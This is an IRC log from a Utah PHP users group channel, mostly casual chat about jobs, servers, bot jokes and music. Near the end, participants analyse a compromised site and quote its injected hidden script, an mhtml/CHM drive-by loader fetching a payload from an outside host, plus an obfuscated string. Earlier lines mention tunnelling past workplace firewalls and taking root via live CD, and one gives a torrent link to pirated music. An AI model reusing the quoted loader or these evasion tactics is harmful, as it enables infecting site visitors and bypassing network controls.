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| 14:25.28 | dataw0lf | good mornin |
| 14:33.14 | optikal | jeh.. gmorn. |
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| 14:45.25 | dataw0lf | optikal: danke for last night, sir. |
| 14:51.37 | optikal | oh no, danke. :) |
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| 15:21.59 | mindjuju | well, it does make you wonder |
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| 15:26.55 | mindjuju | bigdog |
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| 15:29.50 | optikal | macnewbold: No.. you don't want to know. :P |
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| 15:36.08 | bigdog_ut | mindjuju, whatz up |
| 15:36.48 | mindjuju | on checking out books and reviews, do you want all book requests to go through email or can I ask you here? |
| 15:37.03 | dataw0lf | don't ask, just tell him. |
| 15:37.08 | bigdog_ut | lol |
| 15:37.11 | dataw0lf | :) |
| 15:37.19 | bigdog_ut | you can tell me...but i prefer through the website |
| 15:37.23 | bigdog_ut | that way we can track it |
| 15:37.35 | bigdog_ut | but dataw0lf just tells me |
| 15:37.52 | bigdog_ut | he does not know how hard i work for you guys |
| 15:39.23 | bigdog_ut | the python-gnome bindings rock |
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| 15:52.51 | bigdog_ut | dataw0lf, you awake? |
| 15:53.18 | dataw0lf | yeah. |
| 15:53.47 | bigdog_ut | man i forgot that imap server we were talkin about again? |
| 15:53.53 | bigdog_ut | you remember the name? |
| 15:53.58 | bigdog_ut | starts with a "d" |
| 15:54.36 | bigdog_ut | was it dovecot |
| 15:54.59 | dataw0lf | dovecot? |
| 15:55.02 | dataw0lf | yeah, dovecot. |
| 15:55.18 | dataw0lf | it's some good stuff. |
| 15:55.32 | bigdog_ut | cool...i remembered the name |
| 15:55.32 | dataw0lf | and I'm having some really strong deja vu. |
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| 16:25.27 | bigdog_ut | rebuilding servers is great |
| 16:40.08 | jm_ul|w | only if it's by choice |
| 16:44.00 | bigdog_ut | lol |
| 16:44.03 | bigdog_ut | not really |
| 16:44.57 | bigdog_ut | just rebuilding some solaris oracle boxes |
| 16:46.08 | bigdog_ut | cause installing oracle sucks |
| 16:48.38 | bigdog_ut | especially on an ultra10 |
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| 17:36.38 | jm_ul|w | bigdog_ut: what is your title? I thought you were a programmer. Didn't know server installs were part of the job unless you're programming server software. |
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| 17:44.05 | mindjuju | BigDog_Ut official Title is Grand Poobah BigDog_UT, CIO and his position pays for his armani suit, gucci watch, and his Salvatore Ferragamo Leather shoes |
| 17:44.25 | mindjuju | ah, but then that is the casual attire, isn't it? |
| 17:44.32 | dataw0lf | we just call him 'tard' for short though. |
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| 18:43.38 | jm_ul|w | to those that have used it.... ipython => good, bad or somewhere in between? |
| 18:44.12 | dataw0lf | ipython == awesome |
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| 18:53.22 | bigdog_ut | ~seen jsmith |
| 18:53.22 | jbot | jsmith <~jsmith@pip.drs1.omniture.com> was last seen on IRC in channel #uphpu, 30d 19h 56m 11s ago, saying: 'zardinuk: Or "Seamus" on casette tape?'. |
| 19:13.27 | bigdog_ut | anyone seen jsmith? |
| 19:17.06 | mindjuju | mac, you around? |
| 19:17.53 | macnewbold | mindjuju: yep, always :) |
| 19:17.56 | macnewbold | sup? |
| 19:18.51 | mindjuju | k, super quick question. my co just contracted a graphics designer to concept some stuff for us. the gd has created a concept and now I have a PSD i have to convert to CSS, to i just slice up the PSD into pictures and CSS what I can? |
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| 19:19.50 | mindjuju | really, just the mast is what needs slicing, i think everything seems really like it could be CSSd |
| 19:20.14 | meadmaker | hi all, i'm new to SLC and saw that there is a php group, wanted to introduce myself |
| 19:20.28 | mindjuju | yo meadmaker |
| 19:20.31 | mindjuju | welcome! |
| 19:20.59 | meadmaker | Thank you |
| 19:21.27 | meadmaker | is it going to get hotter here this summer? it is too hot for me now |
| 19:22.55 | mindjuju | where you coming in from? |
| 19:22.57 | fungus | This is nothing, just wait until August. |
| 19:23.15 | meadmaker | originally from chicago area |
| 19:23.26 | meadmaker | just moved here a week ago |
| 19:23.28 | gthornock | It's just starting to get comfortably warm. Wait for August, that's when it gets really good. |
| 19:24.01 | mindjuju | psha! Ya'll ought to see Houston, it gets this hot with like 80+% humidity |
| 19:24.15 | mindjuju | now that's some roasting weather! |
| 19:24.34 | mindjuju | ~bdhit fungus |
| 19:24.35 | jbot | ACTION and mindjuju demonstrates the Iron Two Killers Hand on fungus's forehead |
| 19:25.02 | fungus | I have visited houston, I agree it is much worse. |
| 19:25.43 | meadmaker | are yo uall fulltime php programmers? |
| 19:26.27 | bigdog_ut | no |
| 19:27.39 | RyanE | no |
| 19:27.47 | meadmaker | I was curious as to what the job market for php is like out here? Are you all independent or working for a firm? I have been independent for the past couple years but not working fulltime |
| 19:28.18 | RyanE | previous job was fulltime, part PHP, part C. current job, no PHP, all C++ / C# |
| 19:28.39 | dataw0lf | Python / C consulting, network engineer / administrator full time. |
| 19:28.43 | bigdog_ut | i do alot of php consulting but that is not my fulltime job |
| 19:28.45 | dataw0lf | but PHP is easy to get contracts for. |
| 19:28.50 | dataw0lf | if that's your thing. |
| 19:29.22 | fungus | Primary sysadmin, secondary web developer |
| 19:29.29 | bigdog_ut | my fulltime job is overpriced tech support |
| 19:29.31 | macnewbold | mindjuju: PSD -> slices isn't bad, photoshop will do it, or probably the gimp, |
| 19:29.39 | macnewbold | but the css you'll have to write yourself, AFAIK |
| 19:29.48 | macnewbold | we don't do a ton of slicing, and my partner usually does it when we do |
| 19:30.18 | mindjuju | k, that's what I thought. just wanted to be sure i was on the right track. |
| 19:30.26 | macnewbold | yeah, sounds like it |
| 19:31.52 | meadmaker | i see the next meeting you have is at "Code Greene", new to the area so don't know what that means |
| 19:34.46 | bigdog_ut | dataw0lf, you getting a chunk of the $10m |
| 19:34.56 | macnewbold | meadmaker: Code Greene is where I work (co-founder/co-owner) |
| 19:35.07 | macnewbold | I can get you the address and directoins |
| 19:35.16 | macnewbold | so meadmaker, what part of town do you live in? |
| 19:35.28 | meadmaker | I actually live in West Jordan |
| 19:35.35 | macnewbold | ah |
| 19:35.41 | macnewbold | I'm sorry... |
| 19:35.46 | macnewbold | ;) |
| 19:35.46 | meadmaker | ? |
| 19:35.57 | meadmaker | did i pick a bad spot? |
| 19:36.01 | dataw0lf | bigdog_ut: heh, I might |
| 19:36.07 | macnewbold | hehe, no, not really... so from West Jordan, you'd get on I-15 north |
| 19:36.19 | macnewbold | then take the exit for I-80 East (towards Park City) |
| 19:36.34 | macnewbold | and take the Foothill Dr. exit |
| 19:36.35 | bigdog_ut | that would be cool if you did |
| 19:37.29 | meadmaker | whats the # |
| 19:37.43 | macnewbold | go for about 3 or 4 stoplights, and on the left you'll see a big Shopping Center called Foothill Village, right after the light for 2300 East |
| 19:38.13 | macnewbold | not sure what the exit # is, it's about the 4th one from I-15, just after the I-215 exit splits off a couple of lanes |
| 19:38.29 | bigdog_ut | meadmaker, have you signed up on uphpu? |
| 19:38.40 | macnewbold | In Foothill Village, turn left, towards TGIFridays, and go to the Blockbuster building. We're upstairs from them. |
| 19:39.18 | meadmaker | i joined the mailing list but thats it |
| 19:39.54 | macnewbold | sign up on the web site too |
| 19:40.09 | macnewbold | and if you're interested in the group project/training, sign up for the Phlyte list too |
| 19:40.11 | bigdog_ut | that helps the group out toons |
| 19:40.13 | macnewbold | and check out #phlyte :) |
| 19:40.30 | macnewbold | so meadmaker, what brings you to utah? |
| 19:40.43 | mindjuju | the weather |
| 19:40.44 | bigdog_ut | he heard about the bigdog |
| 19:41.15 | meadmaker | well, change of pace mostly. My wife was the first one to get a job out here so we moved when she had something lined. Chicago is not the place for me. |
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| 19:42.14 | bigdog_ut | yeah..they heard about the bigdog |
| 19:43.03 | meadmaker | well, I gotta run, hopefully see some of you next week!! |
| 19:43.47 | dataw0lf | probably |
| 19:52.48 | bigdog_ut | woohooo..im getting 12 new servers....yeah |
| 19:53.01 | bigdog_ut | goodbye old crap and hello new stuff |
| 19:56.00 | macnewbold | bigdog_ut: what are you doing with the old ones? |
| 19:56.39 | bigdog_ut | using them still |
| 19:56.49 | bigdog_ut | putting them in my house |
| 19:56.50 | bigdog_ut | lol |
| 19:58.36 | *** topic/#uphpu by wps -> July presenter needed! |
| 19:59.15 | *** topic/#uphpu by macnewbold -> July presenter needed! Volunteer soon, or else macnewbold will bore us again! |
| 19:59.40 | bigdog_ut | i volunteer dataw0lf...can i get a second on that? |
| 19:59.49 | tierra | anyone have a number for Dave Turnbull? he doesn't answer either of his email address I found |
| 20:00.09 | macnewbold | 2nd |
| 20:00.25 | dataw0lf | hey, I presented at last meeting, kthnx. |
| 20:00.39 | bigdog_ut | lol |
| 20:00.42 | wps | tierra, he has taken the summer off from hacking |
| 20:00.52 | bigdog_ut | what a slacker |
| 20:01.07 | bigdog_ut | hacking is part of life...not something you can shutdown for the summer |
| 20:01.13 | wps | sorry, don't have his number anymore… he moved a few times and changed jobs so none of the numbers I had were any good anymore |
| 20:02.06 | tierra | I guess no root beer for BBQ then... =( |
| 20:02.25 | wps | I do a good homemade rootbeer |
| 20:02.28 | wps | that what you're looking for? |
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| 20:02.55 | wps | I come from a long line of moonshiners |
| 20:03.01 | wps | ~Utah_Dave |
| 20:03.13 | Utah_Dave | hey |
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| 20:15.53 | bigdog_ut | ~smack Utah_Dave |
| 20:15.53 | jbot | ACTION smacks Utah_Dave upside the head. |
| 20:17.44 | Utah_Dave | ouch! what'd I do? |
| 20:18.26 | bigdog_ut | just for not being around enough |
| 20:19.10 | Utah_Dave | :) |
| 20:19.36 | Utah_Dave | been training a new guy from Chicago all week |
| 20:19.53 | bigdog_ut | where u work at again? |
| 20:22.37 | mindjuju | hey, that's funny, some dude just came into the chat room new from chicago |
| 20:22.47 | mindjuju | handle was 10meadmaker01 |
| 20:24.03 | wps | ha ha ha |
| 20:24.13 | wps | did you guys see that job that was just posted? |
| 20:24.29 | wps | no salary? |
| 20:24.52 | wps | riiiiiiiiiight |
| 20:24.55 | bigdog_ut | which job? |
| 20:24.57 | bigdog_ut | cto one? |
| 20:25.02 | Utah_Dave | utah national guard |
| 20:25.03 | wps | yeah |
| 20:25.15 | bigdog_ut | poor dave |
| 20:25.20 | bigdog_ut | lol yeah i saw it |
| 20:25.25 | bigdog_ut | cto position..whatever |
| 20:25.30 | bigdog_ut | it is just a title |
| 20:25.44 | wps | how can you be a CTO over a start-up? |
| 20:25.55 | wps | can't be a chief if there 'taint no indians |
| 20:26.02 | bigdog_ut | that is a glorified tech support |
| 20:26.14 | Utah_Dave | you get to pick which used hardware you bum off your parents and friends to set up a server in your basement |
| 20:28.09 | bigdog_ut | wps, however that is a "cto" type not a real cto |
| 20:28.38 | bigdog_ut | he left off, answering phones and making coffee |
| 20:28.51 | bigdog_ut | or hot choco |
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| 20:34.15 | mindjuju | heya jsmith, bigdog was just lookin' for ya |
| 20:34.42 | jsmith | bigdog_ut: I'm here! |
| 20:35.14 | jsmith | Any idea what he wanted? |
| 20:35.38 | bigdog_ut | i had a friend wanting to ask you some questions |
| 20:35.42 | bigdog_ut | about asterisk |
| 20:35.45 | jsmith | OK... |
| 20:36.27 | jsmith | I'm here -- ask away! |
| 20:36.34 | bigdog_ut | ill see if he logs in |
| 20:36.43 | bigdog_ut | he wanted to set something up and had some questions |
| 20:36.50 | jsmith | I see. |
| 20:39.49 | bigdog_ut | macnewbold, that will never happen |
| 20:40.02 | bigdog_ut | lol |
| 20:40.23 | bigdog_ut | you mean gucci_wearing_cto_php_guru_maniac |
| 20:40.48 | jsmith | Don't forget the Java! |
| 20:40.57 | jsmith | And the Eclipse! |
| 20:41.04 | bigdog_ut | oh wait |
| 20:41.39 | mindjuju | isn't CIO above a CTO? |
| 20:41.49 | bigdog_ut | gucci_wearing_cto_php_eclipse_java_anything_linux_hacker_manic_with_slippers_naked_programming_bigdog nick |
| 20:41.53 | jsmith | mindjuju: They're usually synonomous |
| 20:42.07 | jsmith | bigdog_ut: Much better. |
| 20:42.12 | bigdog_ut | actually the are somewhat different |
| 20:42.56 | mindjuju | yeah, CIO i though supervises the CTO (hardware infrastructure) and some other acronym i can't recall for software structure |
| 20:43.14 | jsmith | Not necessarily... |
| 20:43.27 | bigdog_ut | it really depends on the structure of the co |
| 20:43.36 | mindjuju | in fact, if not mistaken, i thought CIO was like 2 tiers down from DemiGod |
| 20:44.04 | bigdog_ut | well board of dirs = corp gods |
| 20:44.10 | bigdog_ut | then comes ceo |
| 20:44.11 | jsmith | mindjuju: Two and a half, if you subscribe to CIO magazine... |
| 20:44.36 | jsmith | It all depends on the organization... some put CIO underneath the CFO, others put them equal. |
| 20:45.54 | mindjuju | well, let's just call bigdog BigDog_DG |
| 20:46.30 | macnewbold | well if we don't call him birddog_ut, then we ought to call him bigbird_ut |
| 20:46.55 | mindjuju | i mean, he does speak Oracle, PSQL, MySQL, *nix, WinX, a billion programming languages |
| 20:47.02 | mindjuju | oh wait! I've got it! |
| 20:47.20 | mindjuju | BigDog_UT new name = VGER |
| 20:48.33 | macnewbold | in my company, CTO >= CEO |
| 20:48.35 | macnewbold | hehe |
| 20:49.01 | mindjuju | ya'll remember VGER from star trek, right? The super computer that learned everything possible to learn and then started to go round the universe kickin' butt? |
| 20:49.26 | dataw0lf | um, no, I don't. |
| 20:49.31 | dataw0lf | probably because I'm not a trekkie nerd. |
| 20:49.35 | dataw0lf | NERD! |
| 20:49.39 | bigdog_ut | lol |
| 20:49.49 | bigdog_ut | um...that is the jeopardy dude |
| 20:50.01 | dataw0lf | there's a thin line between 'geek' and 'nerd', mindjuju. |
| 20:50.05 | dataw0lf | guess who just crossed it. |
| 20:50.16 | bigdog_ut | rotflol |
| 20:50.27 | mindjuju | ~bdhit datawolf |
| 20:50.28 | jbot | ACTION slaps the diviner's tin avalanche on datawolf |
| 20:50.40 | macnewbold | ~dhit mindjuju |
| 20:50.40 | jbot | ACTION appears on mindjuju's left side and performs the Ricer Slayer Blow upon mindjuju's shoulder |
| 20:50.43 | bigdog_ut | now that was actually really funny |
| 20:50.56 | mindjuju | ~bdhit macnewbold |
| 20:50.57 | jbot | ACTION slaps the diviner's tin avalanche on macnewbold |
| 20:51.02 | macnewbold | ~dwhit mindjuju |
| 20:51.03 | jbot | ACTION launches the Knee of the Crippled Roosters and smiles at mindjuju's pain |
| 20:51.15 | macnewbold | ~bdhit mindjuju |
| 20:51.15 | jbot | ACTION leaps to Sunrise Claw of the Cruel Snake on mindjuju |
| 20:51.16 | mindjuju | ~abuse macnewbold |
| 20:51.16 | jbot | ACTION smacks macnewbold across the face. "Take that, Bitch!" |
| 20:51.25 | macnewbold | ~watch mindjuju's language |
| 20:51.25 | jbot | ACTION gazes at mindjuju's language carefully |
| 20:51.59 | mindjuju | ~frenchassault macnewbold |
| 20:51.59 | jbot | ACTION summons the french taunter! macnewbold is an English bedwetting type! macnewbold, I burst my pimples at you... You tiny-brained wipers of other people's bottoms! Now go away or I shall taunt you a second time-a! |
| 20:52.17 | macnewbold | ~frenchtaunt jbot |
| 20:52.17 | jbot | ACTION summons the french taunter! You tiny-brained wipers of other people's bottoms! |
| 20:52.45 | mindjuju | !dag, DW! that was cold blooded |
| 20:52.54 | dataw0lf | :] it's all <3 |
| 20:54.19 | bigdog_ut | man ive got so many slackers here |
| 20:54.25 | bigdog_ut | im like the only one working |
| 20:54.34 | dataw0lf | as evidenced by your strong presence on IRC. |
| 20:55.03 | mindjuju | yeah, mindjuju isn't really here, this is just a shell script responding |
| 20:58.10 | bigdog_ut | hell yah |
| 20:58.10 | bigdog_ut | with some stone sour playing |
| 20:58.10 | bigdog_ut | im just rebuilding servers still...so i just watch stuff install |
| 20:58.10 | bigdog_ut | im trying to get in all the irc that i can before the network admins block it |
| 20:58.37 | toxs | can you say tunnel? |
| 20:59.01 | bigdog_ut | yeah...i have only http/s |
| 21:02.51 | dataw0lf | yeah, we got a guy here who's trying to get through my blocks. |
| 21:02.51 | dataw0lf | I haven't actually _spoken_ to him about it, but I keep on shutting down whatever port he tries to use next, so I think he's catching on. |
| 21:03.03 | bigdog_ut | lol |
| 21:03.55 | bigdog_ut | the plan on blocking everything but http(s) so im thinking of doing a https tunnel |
| 21:03.55 | bigdog_ut | but not sure if i want to press my luck |
| 21:03.55 | bigdog_ut | they have an eye on me |
| 21:05.07 | bigdog_ut | corp crap like this sucks |
| 21:05.17 | bigdog_ut | all because someone was streaming crap |
| 21:07.57 | bigdog_ut | oh wait that was me...lol |
| 21:07.57 | toxs | lol |
| 21:07.57 | bigdog_ut | okay...so mental note...dont do that again |
| 21:07.57 | toxs | bigdog_ut == bad seed |
| 21:07.57 | bigdog_ut | not doubt |
| 21:07.57 | bigdog_ut | funny when the network admin asks you what you would do to solve the problem... |
| 21:07.57 | dataw0lf | well, this guy knows linux fairly well. |
| 21:07.58 | bigdog_ut | so i say...give me more bandwidth and we should be good |
| 21:07.58 | dataw0lf | but he totally killed his chances of using gaim and irc on my network when he tried to argue Mandriva versus Debian with me. |
| 21:07.58 | bigdog_ut | dataw0lf those are the good ones |
| 21:07.58 | bigdog_ut | okay...that was a mistake |
| 21:07.58 | dataw0lf | oh yeah. and trying to exploit his box to get root, too, that was kinda funny. |
| 21:07.58 | bigdog_ut | dataw0lf he really did?...wow you got to be really stupid |
| 21:07.58 | mindjuju | bigdog, you out to look into this if you have a linux web server somewhere |
| 21:07.58 | mindjuju | http://cgiirc.sourceforge.net/ |
| 21:07.58 | dataw0lf | yeah, so I chrooted his user. |
| 21:08.13 | bigdog_ut | mindjuju, cgi sucks |
| 21:08.19 | bigdog_ut | dataw0lf nice |
| 21:08.23 | mindjuju | yeah, but no https tunneling |
| 21:08.27 | mindjuju | your just visiting some web page |
| 21:08.34 | mindjuju | that happens to have a portal to IRC |
| 21:08.39 | dataw0lf | it wasn't like he was going to get root anyways, the guy isn't that good to go up gainst my 1337ness. |
| 21:09.00 | bigdog_ut | yur just hawt |
| 21:09.10 | dataw0lf | true dat |
| 21:11.29 | bigdog_ut | my favorite is to boot off a livecd on their box and get root access and then go to town |
| 21:11.29 | dataw0lf | well, I have root on all these boxes. |
| 21:11.29 | dataw0lf | so. like. I can do whatever I want. |
| 21:11.29 | bigdog_ut | cool |
| 21:11.29 | dataw0lf | yeah, that's what work consists of for me. That's why I'm a BOFH, fo sho. |
| 21:12.57 | bigdog_ut | man solaris only gives a 8192kb stack size...oh |
| 21:14.08 | dataw0lf | fixed size stacks just suck |
| 21:14.29 | bigdog_ut | eyah...i have like 2gig on this box...can i get like 64M |
| 21:14.40 | bigdog_ut | man that blows chunks |
| 21:14.54 | bigdog_ut | and i have 2 processors...that is really crappy |
| 21:16.10 | bigdog_ut | i wonder what linux has |
| 21:17.03 | dataw0lf | that's what limit is for |
| 21:17.33 | dataw0lf | (for user stack sizes) |
| 21:18.01 | dataw0lf | but Linux's default is still 8192 |
| 21:18.15 | dataw0lf | I think it's defined somewhere as a standard for POSIX compliance or some shit. |
| 21:18.19 | dataw0lf | ack |
| 21:18.21 | dataw0lf | sorry about language |
| 21:19.08 | dataw0lf | but, yeah, ulimit -a |
| 21:19.27 | dataw0lf | (ulimit -s for stack) |
| 21:21.07 | dataw0lf | but kernel stacks, well, imho, should be low |
| 21:21.10 | dataw0lf | but user stacks are better. |
| 21:21.14 | dataw0lf | for increasing |
| 21:23.36 | dataw0lf | my buddy still compiles his kernel with 4k. |
| 21:23.43 | bigdog_ut | for user? |
| 21:23.48 | dataw0lf | no, no, kernel. |
| 21:24.02 | bigdog_ut | oh yeah...i do 4k still |
| 21:24.07 | dataw0lf | but, if you think about it, the '8k stack size' in linux is actually just 4k with a bit of lee way |
| 21:24.12 | dataw0lf | because the thread structures has 4k |
| 21:24.16 | dataw0lf | and the actual stack has 4k |
| 21:24.25 | dataw0lf | but if you like overwrite past 4k, it isn't like the old days. |
| 21:24.30 | dataw0lf | it'll usually let you get away with it. |
| 21:24.42 | dataw0lf | but it's been a problem (destroying the thread part) |
| 21:25.12 | dataw0lf | like if you go 4.5k and you run into 3.5 k in your path, for example an irq that is 3.5k, you're screwed. |
| 21:28.11 | dataw0lf | see, I might not be the greatest at PHP, but I <3 the low level C. |
| 21:28.35 | xilch|w | scroheart! |
| 21:29.21 | dataw0lf | shuddup you |
| 21:29.27 | xilch|w | nevar! |
| 21:30.12 | cycokilr | punks |
| 21:30.15 | dataw0lf | Radiohead - Karma Police is a great song. |
| 21:30.43 | bigdog_ut | that is a great song |
| 21:30.53 | cycokilr | who's radiohead? |
| 21:30.56 | cycokilr | are they good? |
| 21:31.08 | bigdog_ut | ~smack cycokilr |
| 21:31.09 | jbot | ACTION smacks cycokilr upside the head. |
| 21:31.27 | cycokilr | oh right.. cause i should know all bands ever created.. |
| 21:31.33 | dataw0lf | Radiohead dude? |
| 21:31.37 | dataw0lf | c'mon. 'Creep |
| 21:31.40 | cycokilr | never heard of them.. |
| 21:31.40 | dataw0lf | 'Creep' ? |
| 21:31.42 | bigdog_ut | you should know radiohead |
| 21:31.50 | cycokilr | what do they sound like? |
| 21:31.58 | dataw0lf | completely different. |
| 21:32.10 | cycokilr | i may have heard a song on the radio sometime.. |
| 21:32.19 | dataw0lf | someone get this guy a karma police download. |
| 21:32.50 | dataw0lf | I'm at the mercy of com4's serbar for hosting, and I don't want to utilize bandwidth I don't need, otherwise I'd do it. |
| 21:33.04 | cycokilr | is it on one of these albums http://www.demonoid.com/torrents/details/143826/ |
| 21:33.23 | cycokilr | oh, nm.. they have the songlist.. |
| 21:33.27 | dataw0lf | if one of em is OK Computer, yes. |
| 21:33.37 | cycokilr | yep.. |
| 21:33.41 | dataw0lf | Pablo Honey is a good album too. |
| 21:33.45 | cycokilr | it's there too.. |
| 21:33.47 | dataw0lf | and Kid A |
| 21:33.54 | cycokilr | also.. there.. |
| 21:34.02 | cycokilr | and these Hail to the Thief (192 KBPS) |
| 21:34.02 | cycokilr | The Bends (192KBPS) |
| 21:34.02 | cycokilr | My Iron Lung (160 - 192KBPS) |
| 21:34.02 | cycokilr | Amnesiac (192KBPS) |
| 21:34.03 | dataw0lf | yeah, OK Computer is the best though. |
| 21:34.10 | dataw0lf | Hail to the Thief is terrible |
| 21:34.13 | dataw0lf | but Amnesiac is good |
| 21:34.27 | dataw0lf | Paranoid Android, Creep, and Karma Police are their best songs, imho. |
| 21:34.42 | cycokilr | cool.. i'll check it out.. |
| 21:35.03 | cycokilr | but if they suck i'll be really upset about the bandwidth waste man.. |
| 21:35.27 | dataw0lf | trust me, dude. |
| 21:35.54 | dataw0lf | I'm surprised that you've never heard of Radiohead, your taste in music is usually impeccable. |
| 21:35.56 | cycokilr | we'll see.. there isn't much music that people suggest that i like.. |
| 21:36.10 | dataw0lf | you'll like it. |
| 21:36.36 | cycokilr | i do like the Pogues though man.. |
| 21:36.53 | dataw0lf | 'Karma Police, arrest this man, he talks in maths' |
| 21:36.58 | cycokilr | i should really check out the young dubs more.. |
| 21:37.10 | dataw0lf | yeah, the pogues rock dude. |
| 21:38.50 | dataw0lf | 'Karma Police, arrest this girl, her hitler hairdo, is making me feel ill' |
| 21:38.51 | cycokilr | yes they do.. been listening to them since that if i should fall from grace with god album came out.. |
| 21:39.02 | cycokilr | sounds werid dude.. |
| 21:39.07 | cycokilr | weird even |
| 21:39.13 | dataw0lf | yeah, they're weird. |
| 21:39.16 | dataw0lf | but awesome. |
| 21:39.42 | dataw0lf | I dunno, they remind me of Pink Floyd in some ways. |
| 21:39.50 | dataw0lf | Like, Dark Side of the Moon Pink Floyd. |
| 21:39.58 | cycokilr | wow, i should stop the download right now.. |
| 21:40.02 | dataw0lf | ... |
| 21:40.09 | dataw0lf | I shorely hope you're joking. |
| 21:40.19 | cycokilr | i've never been a fan of floyd.. i've tried.. just can't get into them.. |
| 21:40.39 | cycokilr | oh they have some good songs.. money, time.. |
| 21:40.39 | dataw0lf | I never knew anyone who DOESN'T like Floyd. |
| 21:40.46 | dataw0lf | yeah, well, Time is there best song ever. |
| 21:40.53 | dataw0lf | if you like Time you'll like Radiohead |
| 21:40.55 | cycokilr | but overall i just don't like their style or something.. |
| 21:41.18 | dataw0lf | Radiohead is ... chill.. like Pink Floyd. |
| 21:41.35 | dataw0lf | and crazy lyrics that are awesome. |
| 21:41.56 | cycokilr | yeah, but TMBG has crazy lyrics too.. |
| 21:42.09 | dataw0lf | haha |
| 21:42.23 | dataw0lf | who actually likes TMBG? |
| 21:42.28 | cycokilr | my mom |
| 21:42.40 | cycokilr | (she really does) |
| 21:42.42 | dataw0lf | wow. |
| 21:43.06 | cycokilr | yeah, my sister got her into them.. |
| 21:43.12 | dataw0lf | I think if nothing else you'll really dig Paranoid Android |
| 21:43.20 | dataw0lf | cuz it's all chill, then it goes crazy. |
| 21:44.02 | cycokilr | alright.. i'll give them a shot.. |
| 21:44.41 | cycokilr | this guy _LOVES_ TMBG.. http://trickrick.com/ |
| 21:44.59 | cycokilr | he works for this guy http://www.rickthomas.com/ |
| 21:46.38 | bigdog_ut | rick thomas...porn star by day...magician by night |
| 21:47.58 | cycokilr | he is not.. |
| 21:48.05 | cycokilr | he's actually super LDS |
| 21:48.19 | cycokilr | like hardcore.. |
| 21:49.21 | cycokilr | and that trickrick guy just got married in the temple.. |
| 21:50.49 | mindjuju | that rick thomas guy doesn't have a liger so must not be all that hawt, at least not Datawolf's level of hawtness |
| 21:51.58 | dataw0lf | true DAT |
| 21:52.50 | dataw0lf | you all need to get outside and have fun sometime. |
| 21:52.51 | mindjuju | Radiohead?!? they do End title for a movie |
| 21:53.00 | dataw0lf | Vanilla Sky? |
| 21:53.06 | dataw0lf | they do most of the songs on that movie. |
| 21:53.21 | mindjuju | nah, that was the song at the end of Romeo and Juliet |
| 21:53.27 | mindjuju | with Claire Danes |
| 21:53.32 | dataw0lf | oh, yeah, they did that one too. |
| 21:53.33 | mindjuju | way awesome song |
| 21:53.58 | cycokilr | oh.. i've seen vanilla sky.. |
| 21:54.13 | dataw0lf | cycokilr: you know when he first wakes up and the city is empty? |
| 21:54.19 | cycokilr | yeah.. |
| 21:54.19 | dataw0lf | that song playing is from Kid A. |
| 21:54.28 | cycokilr | ahh.. gotcha.. |
| 21:54.41 | dataw0lf | Kid A was like... their.. techno album. |
| 21:55.29 | dataw0lf | but if you play Dark Side of the Moon during Wizard of Oz. |
| 21:55.36 | dataw0lf | and then pause the movie right when the album stops. |
| 21:55.39 | dataw0lf | and put on Kid A. |
| 21:55.43 | dataw0lf | it matches up right to the end. |
| 21:56.01 | dataw0lf | this is what you figure out when you do alot of drugs. Or.. uh.. so I've heard. |
| 21:56.08 | bigdog_ut | cycokilr, funny thing is im related to the guy |
| 21:56.25 | cycokilr | who rick or ricky? |
| 21:56.48 | bigdog_ut | rick thomas |
| 21:56.53 | bigdog_ut | he is like a 3rd cousin |
| 21:57.03 | cycokilr | that's cool.. he's an alright guy.. |
| 21:57.21 | bigdog_ut | i dont know him...my moms does...she was telling me about the tigers |
| 21:58.45 | bigdog_ut | cycokilr, where do you know him from? |
| 21:59.20 | dataw0lf | who else thinks it awesome how the EU smacked down the software patent bill? |
| 21:59.29 | dataw0lf | like, not threw it out for resubmittal or anything. |
| 21:59.32 | jm_ul|w | everytime I try and go to that http://trickrick.com/ I get a Scan type: Auto-Protect Scan |
| 21:59.32 | jm_ul|w | Event: Threat Found! |
| 21:59.32 | jm_ul|w | Threat: Bloodhound.Exploit.6 |
| 21:59.35 | dataw0lf | just said 'uh, no, we don't think so' |
| 22:00.04 | dataw0lf | 'don't try again' |
| 22:00.05 | dataw0lf | 'kthnx' |
| 22:00.15 | dataw0lf | 'Next!' |
| 22:11.46 | cycokilr | jm_ul|w: that's just your paranoid norton program.. it's actually a hole in your browser that allows it to happen.. |
| 22:11.55 | cycokilr | it'd not a virus though.. so don't worry.. |
| 22:12.08 | mindjuju | actually it is malcode |
| 22:12.19 | cycokilr | it's a chm handling problem.. |
| 22:12.22 | mindjuju | right herei s where things go bad |
| 22:12.24 | mindjuju | <div style="POSITION:absolute;VISIBILITY:hidden"><script>try{document.write('<object data="&#'+109+';s-its:mhtml'+':'+'file://C:\\nosuch.mht!http://kasp.cc/x.chm::/x.htm" type="text/x-scriptlet"> |
| 22:12.24 | cycokilr | i looked into it a lot.. |
| 22:12.46 | mindjuju | he's writing a file to your c:\ |
| 22:12.54 | cycokilr | trying to.. |
| 22:12.56 | mindjuju | i can email you the translated code in the source |
| 22:12.59 | cycokilr | but it's not him.. |
| 22:13.05 | cycokilr | oh i've looked into it a lot.. |
| 22:13.11 | mindjuju | yeah, but somebody has gotten into his web server |
| 22:13.15 | cycokilr | he freaked out and emailed me about it a lot.. |
| 22:13.30 | cycokilr | yeah, that's what i told him.. but his provider hasn't fixed it i guess.. |
| 22:14.57 | mindjuju | the reason why things don't go critical in this case is the location of the malware has been shut down |
| 22:14.58 | mindjuju | http://kasp.cc |
| 22:15.34 | mindjuju | so while the antivirus is correctly detecting, there isn't technically a threat because the payload isn't available |
| 22:15.57 | mindjuju | but if/when that site comes back up and payload available, he'll be infecting people |
| 22:21.14 | cycokilr | oh i told him all about it.. like 2 months ago.. and he was sposd to inform the hosting company.. it's out of my hands now.. sorry if it broke anyone's computers or anything.. i figured he'd taken care of it.. |
| 22:22.22 | cycokilr | btw, a bloodhound exploit is an unknown one.. that's why the bloodhound name (their heuristics stuff) |
| 22:23.00 | mindjuju | i used to study this phenomena a lot so i have some hand written little web pages that make decrypting a snap. especially for that string at the bottom of his source |
| 22:23.01 | mindjuju | '*8Hxhwnuy*75qfslzflj*8I*77Of%7BfXhwnuy*77*75xwh*8I*77xu73ox*77*8J*8H4xhwnuy*8J5' |
| 22:24.16 | mindjuju | it's funny, no matter how much you obfuscate, you always have to put a key in there somewhere for the browser to know how to decode |
| 22:24.30 | mindjuju | <scipt language="JavaScript" src="sp2.js"></scrit> |
| 22:24.44 | mindjuju | since the js file is gone, hard to tell what happens after that point |
| 22:24.54 | cycokilr | maybe it installs service pack 2 |
| 22:25.20 | cycokilr | nah, but i never even saw it cause i don't use IE and have no AV software.. |
